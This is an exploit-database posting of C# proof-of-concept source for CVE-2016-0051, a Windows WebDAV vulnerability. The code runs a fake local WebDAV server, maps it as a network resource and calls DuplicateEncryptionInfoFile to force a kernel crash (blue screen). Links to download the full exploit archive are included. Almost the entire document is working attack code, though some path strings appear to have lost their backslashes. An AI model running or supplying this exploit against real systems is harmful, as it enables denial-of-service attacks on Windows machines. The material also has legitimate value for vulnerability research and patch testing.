Microsoft Windows WebDAV BSoD Proof Of Concept
Posted on 12 February 2016
/* Source: https://github.com/koczkatamas/CVE-2016-0051 Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016). Full Proof of Concept: https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432.zip */ using System; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Text; using System.Threading; namespace BSoD { class Program { static void StartFakeWebDavServer(int port) { new Thread(() => { var server = new TcpListener(IPAddress.Loopback, port); server.Start(); while (true) { using (var client = server.AcceptTcpClient()) using (var stream = client.GetStream()) using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1"))) using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true }) { Console.WriteLine(" =============== BEGIN REQUEST =============== "); Func<string> rl = () => { var line = reader.ReadLine(); Console.WriteLine("< " + line); return line; }; Action<string> wl = outData => { Console.WriteLine(String.Join(" ", outData.Split(' ').Select(x => "> " + x))); writer.Write(outData); }; var header = rl().Split(' '); while (!string.IsNullOrWhiteSpace(rl())) { } if (header[0] == "OPTIONS") wl("HTTP/1.1 200 OK MS-Author-Via: DAV DAV: 1,2,1#extend Allow: OPTIONS,GET,HEAD,PROPFIND "); else if (header[0] == "PROPFIND") { var body = String.Format(@" <?xml version=""1.0"" encoding=""UTF-8""?> <D:multistatus xmlns:D=""DAV:""> <D:response> <D:href>{0}</D:href> <D:propstat> <D:prop> <D:creationdate>{1:s}Z</D:creationdate> <D:getcontentlength>{3}</D:getcontentlength> <D:getcontenttype>{4}</D:getcontenttype> <D:getetag>{5}</D:getetag> <D:getlastmodified>{6:R}</D:getlastmodified> <D:resourcetype>{8}</D:resourcetype> <D:supportedlock></D:supportedlock> <D:ishidden>{7}</D:ishidden> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim(); wl("HTTP/1.1 207 Multi-Status MS-Author-Via: DAV DAV: 1,2,1#extend Content-Length: " + body.Length + " Content-Type: text/xml " + body); } else wl("HTTP/1.1 500 Internal Server Error "); Console.WriteLine(" =============== END REQUEST =============== "); } } }) { IsBackground = true, Name = "WebDAV server thread" }.Start(); } [StructLayout(LayoutKind.Sequential)] private class NETRESOURCE { public uint dwScope = 0; public uint dwType = 0; public uint dwDisplayType = 0; public uint dwUsage = 0; public string lpLocalName = null; public string lpRemoteName = null; public string lpComment = null; public string lpProvider = null; } [DllImport("mpr.dll")] private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags); [DllImport("Advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int DuplicateEncryptionInfoFile(string srcFileName, string dstFileName, uint dwCreationDistribution, uint dwAttributes, IntPtr lpSecurityAttributes); public static void Main(string[] args) { var p = new Random().Next(1024, 65535); StartFakeWebDavServer(p); var addConnectionResult = WNetAddConnection2(new NETRESOURCE() { lpRemoteName = @"\127.0.0.1@" + p + @"folder" }, null, null, 0); Console.WriteLine("WNetAddConnection2 = " + addConnectionResult); var duplicateEncryptionInfoResult = DuplicateEncryptionInfoFile(@"\127.0.0.1@" + p + @"folderfile", "x", 2, 128, IntPtr.Zero); Console.WriteLine("DuplicateEncryptionInfoFile = " + duplicateEncryptionInfoResult); Console.WriteLine("BSoD did not happen."); Console.ReadLine(); } } }